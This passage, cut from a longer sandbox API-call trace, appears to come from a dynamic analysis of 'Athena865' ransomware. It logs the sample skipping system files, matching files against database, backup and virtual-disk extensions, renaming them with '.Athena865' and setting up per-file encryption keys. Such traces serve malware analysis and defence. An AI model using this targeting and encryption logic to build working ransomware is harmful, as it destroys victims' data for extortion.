lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0129.867] lstrlenW (lpString="nyf") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0129.867] lstrlenW (lpString="odb") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.867] lstrlenW (lpString="odb") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.867] lstrlenW (lpString="oqy") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0129.867] lstrlenW (lpString="ora") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0129.867] lstrlenW (lpString="orx") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0129.867] lstrlenW (lpString="owc") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0129.868] lstrlenW (lpString="p96") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0129.868] lstrlenW (lpString="p97") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0129.868] lstrlenW (lpString="pan") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0129.868] lstrlenW (lpString="pdb") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0129.868] lstrlenW (lpString="pdm") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0129.868] lstrlenW (lpString="pnz") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0129.868] lstrlenW (lpString="qry") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0129.868] lstrlenW (lpString="qvd") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0129.868] lstrlenW (lpString="rbf") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0129.868] lstrlenW (lpString="rctd") returned 4 [0129.868] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0129.868] lstrlenW (lpString="rod") returned 3 [0129.868] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0129.868] lstrlenW (lpString="rodx") returned 4 [0129.868] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0129.868] lstrlenW (lpString="rpd") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0129.869] lstrlenW (lpString="rsd") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0129.869] lstrlenW (lpString="sas7bdat") returned 8 [0129.869] lstrcmpiW (lpString1="7641.JPG", lpString2="sas7bdat") returned -1 [0129.869] lstrlenW (lpString="sbf") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0129.869] lstrlenW (lpString="scx") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0129.869] lstrlenW (lpString="sdb") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0129.869] lstrlenW (lpString="sdc") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0129.869] lstrlenW (lpString="sdf") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0129.869] lstrlenW (lpString="sis") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0129.869] lstrlenW (lpString="spq") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0129.869] lstrlenW (lpString="te") returned 2 [0129.869] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0129.869] lstrlenW (lpString="teacher") returned 7 [0129.869] lstrcmpiW (lpString1="641.JPG", lpString2="teacher") returned -1 [0129.869] lstrlenW (lpString="tmd") returned 3 [0129.869] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0129.869] lstrlenW (lpString="tps") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0129.870] lstrlenW (lpString="trc") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.870] lstrlenW (lpString="trc") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.870] lstrlenW (lpString="trm") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0129.870] lstrlenW (lpString="udb") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0129.870] lstrlenW (lpString="udl") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0129.870] lstrlenW (lpString="usr") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0129.870] lstrlenW (lpString="v12") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0129.870] lstrlenW (lpString="vis") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0129.870] lstrlenW (lpString="vpd") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0129.870] lstrlenW (lpString="vvv") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0129.870] lstrlenW (lpString="wdb") returned 3 [0129.870] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0129.870] lstrlenW (lpString="wmdb") returned 4 [0129.870] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0129.871] lstrlenW (lpString="wrk") returned 3 [0129.871] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0129.871] lstrlenW (lpString="xdb") returned 3 [0129.871] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0129.871] lstrlenW (lpString="xld") returned 3 [0129.871] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0129.871] lstrlenW (lpString="xmlff") returned 5 [0129.871] lstrcmpiW (lpString1="1.JPG", lpString2="xmlff") returned -1 [0129.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.Athena865") returned 73 [0129.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.athena865"), dwFlags=0x1) returned 1 [0129.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35236) returned 1 [0129.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.875] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.875] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.875] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8cb0, lpName=0x0) returned 0x154 [0129.876] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8cb0) returned 0x100000 [0129.879] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.879] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.879] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.880] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.881] CloseHandle (hObject=0x154) returned 1 [0129.881] CloseHandle (hObject=0x17c) returned 1 [0129.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.881] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2=".") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="..") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="windows") returned -1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootmgr") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="temp") returned -1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="pagefile.sys") returned -1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="boot") returned 1 [0129.881] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ids.txt") returned 1 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ntuser.dat") returned -1 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2="perflogs") returned -1 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2="MSBuild") returned -1 [0129.882] lstrlenW (lpString="J0287642.JPG") returned 12 [0129.882] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287642.JPG" | out: lpString1="J0287642.JPG") returned="J0287642.JPG" [0129.882] lstrlenW (lpString="J0287642.JPG") returned 12 [0129.882] lstrlenW (lpString="Athena865") returned 9 [0129.882] lstrcmpiW (lpString1="87642.JPG", lpString2="Athena865") returned -1 [0129.882] lstrlenW (lpString=".dll") returned 4 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2=".dll") returned 1 [0129.882] lstrlenW (lpString=".lnk") returned 4 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2=".lnk") returned 1 [0129.882] lstrlenW (lpString=".ini") returned 4 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2=".ini") returned 1 [0129.882] lstrlenW (lpString=".sys") returned 4 [0129.882] lstrcmpiW (lpString1="J0287642.JPG", lpString2=".sys") returned 1 [0129.882] lstrlenW (lpString="J0287642.JPG") returned 12 [0129.882] lstrlenW (lpString="bak") returned 3 [0129.882] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0129.882] lstrlenW (lpString="ba_") returned 3 [0129.882] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0129.882] lstrlenW (lpString="dbb") returned 3 [0129.882] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0129.882] lstrlenW (lpString="vmdk") returned 4 [0129.882] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0129.882] lstrlenW (lpString="rar") returned 3 [0129.882] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0129.883] lstrlenW (lpString="zip") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0129.883] lstrlenW (lpString="tgz") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0129.883] lstrlenW (lpString="vbox") returned 4 [0129.883] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0129.883] lstrlenW (lpString="vdi") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0129.883] lstrlenW (lpString="vhd") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0129.883] lstrlenW (lpString="vhdx") returned 4 [0129.883] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0129.883] lstrlenW (lpString="avhd") returned 4 [0129.883] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0129.883] lstrlenW (lpString="db") returned 2 [0129.883] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0129.883] lstrlenW (lpString="db2") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0129.883] lstrlenW (lpString="db3") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0129.883] lstrlenW (lpString="dbf") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0129.883] lstrlenW (lpString="mdf") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0129.883] lstrlenW (lpString="mdb") returned 3 [0129.883] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0129.884] lstrlenW (lpString="sql") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0129.884] lstrlenW (lpString="sqlite") returned 6 [0129.884] lstrcmpiW (lpString1="42.JPG", lpString2="sqlite") returned -1 [0129.884] lstrlenW (lpString="sqlite3") returned 7 [0129.884] lstrcmpiW (lpString1="642.JPG", lpString2="sqlite3") returned -1 [0129.884] lstrlenW (lpString="sqlitedb") returned 8 [0129.884] lstrcmpiW (lpString1="7642.JPG", lpString2="sqlitedb") returned -1 [0129.884] lstrlenW (lpString="xml") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0129.884] lstrlenW (lpString="$er") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0129.884] lstrlenW (lpString="4dd") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0129.884] lstrlenW (lpString="4dl") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0129.884] lstrlenW (lpString="^^^") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0129.884] lstrlenW (lpString="abs") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0129.884] lstrlenW (lpString="abx") returned 3 [0129.884] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0129.884] lstrlenW (lpString="accdb") returned 5 [0129.884] lstrcmpiW (lpString1="2.JPG", lpString2="accdb") returned -1 [0129.884] lstrlenW (lpString="accdc") returned 5 [0129.884] lstrcmpiW (lpString1="2.JPG", lpString2="accdc") returned -1 [0129.884] lstrlenW (lpString="accde") returned 5 [0129.885] lstrcmpiW (lpString1="2.JPG", lpString2="accde") returned -1 [0129.885] lstrlenW (lpString="accdr") returned 5 [0129.885] lstrcmpiW (lpString1="2.JPG", lpString2="accdr") returned -1 [0129.885] lstrlenW (lpString="accdt") returned 5 [0129.885] lstrcmpiW (lpString1="2.JPG", lpString2="accdt") returned -1 [0129.885] lstrlenW (lpString="accdw") returned 5 [0129.885] lstrcmpiW (lpString1="2.JPG", lpString2="accdw") returned -1 [0129.885] lstrlenW (lpString="accft") returned 5 [0129.885] lstrcmpiW (lpString1="2.JPG", lpString2="accft") returned -1 [0129.885] lstrlenW (lpString="adb") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.885] lstrlenW (lpString="adb") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.885] lstrlenW (lpString="ade") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0129.885] lstrlenW (lpString="adf") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0129.885] lstrlenW (lpString="adn") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0129.885] lstrlenW (lpString="adp") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0129.885] lstrlenW (lpString="alf") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0129.885] lstrlenW (lpString="ask") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0129.885] lstrlenW (lpString="btr") returned 3 [0129.885] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0129.886] lstrlenW (lpString="cat") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0129.886] lstrlenW (lpString="cdb") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0129.886] lstrlenW (lpString="ckp") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0129.886] lstrlenW (lpString="cma") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0129.886] lstrlenW (lpString="cpd") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0129.886] lstrlenW (lpString="dacpac") returned 6 [0129.886] lstrcmpiW (lpString1="42.JPG", lpString2="dacpac") returned -1 [0129.886] lstrlenW (lpString="dad") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0129.886] lstrlenW (lpString="dadiagrams") returned 10 [0129.886] lstrcmpiW (lpString1="287642.JPG", lpString2="dadiagrams") returned -1 [0129.886] lstrlenW (lpString="daschema") returned 8 [0129.886] lstrcmpiW (lpString1="7642.JPG", lpString2="daschema") returned -1 [0129.886] lstrlenW (lpString="db-journal") returned 10 [0129.886] lstrcmpiW (lpString1="287642.JPG", lpString2="db-journal") returned -1 [0129.886] lstrlenW (lpString="db-shm") returned 6 [0129.886] lstrcmpiW (lpString1="42.JPG", lpString2="db-shm") returned -1 [0129.886] lstrlenW (lpString="db-wal") returned 6 [0129.886] lstrcmpiW (lpString1="42.JPG", lpString2="db-wal") returned -1 [0129.886] lstrlenW (lpString="dbc") returned 3 [0129.886] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0129.887] lstrlenW (lpString="dbs") returned 3 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0129.887] lstrlenW (lpString="dbt") returned 3 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0129.887] lstrlenW (lpString="dbv") returned 3 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0129.887] lstrlenW (lpString="dbx") returned 3 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0129.887] lstrlenW (lpString="dcb") returned 3 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0129.887] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0129.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.Athena865") returned 73 [0129.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.athena865"), dwFlags=0x1) returned 1 [0129.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.889] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17105) returned 1 [0129.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.889] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.890] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.890] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.890] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45e0, lpName=0x0) returned 0x154 [0129.892] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45e0) returned 0x100000 [0129.901] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.904] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.904] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.905] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.905] CloseHandle (hObject=0x154) returned 1 [0129.905] CloseHandle (hObject=0x17c) returned 1 [0129.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.905] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0129.905] lstrcmpiW (lpString1="J0287643.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.905] lstrcmpiW (lpString1="J0287643.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.905] lstrcmpiW (lpString1="J0287643.JPG", lpString2=".") returned 1 [0129.905] lstrcmpiW (lpString1="J0287643.JPG", lpString2="..") returned 1 [0129.905] lstrcmpiW (lpString1="J0287643.JPG", lpString2="windows") returned -1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootmgr") returned 1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="temp") returned -1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="pagefile.sys") returned -1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="boot") returned 1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ids.txt") returned 1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ntuser.dat") returned -1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="perflogs") returned -1 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2="MSBuild") returned -1 [0129.906] lstrlenW (lpString="J0287643.JPG") returned 12 [0129.906] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287643.JPG" | out: lpString1="J0287643.JPG") returned="J0287643.JPG" [0129.906] lstrlenW (lpString="J0287643.JPG") returned 12 [0129.906] lstrlenW (lpString="Athena865") returned 9 [0129.906] lstrcmpiW (lpString1="87643.JPG", lpString2="Athena865") returned -1 [0129.906] lstrlenW (lpString=".dll") returned 4 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2=".dll") returned 1 [0129.906] lstrlenW (lpString=".lnk") returned 4 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2=".lnk") returned 1 [0129.906] lstrlenW (lpString=".ini") returned 4 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2=".ini") returned 1 [0129.906] lstrlenW (lpString=".sys") returned 4 [0129.906] lstrcmpiW (lpString1="J0287643.JPG", lpString2=".sys") returned 1 [0129.906] lstrlenW (lpString="J0287643.JPG") returned 12 [0129.906] lstrlenW (lpString="bak") returned 3 [0129.906] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0129.906] lstrlenW (lpString="ba_") returned 3 [0129.906] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0129.907] lstrlenW (lpString="dbb") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0129.907] lstrlenW (lpString="vmdk") returned 4 [0129.907] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0129.907] lstrlenW (lpString="rar") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", 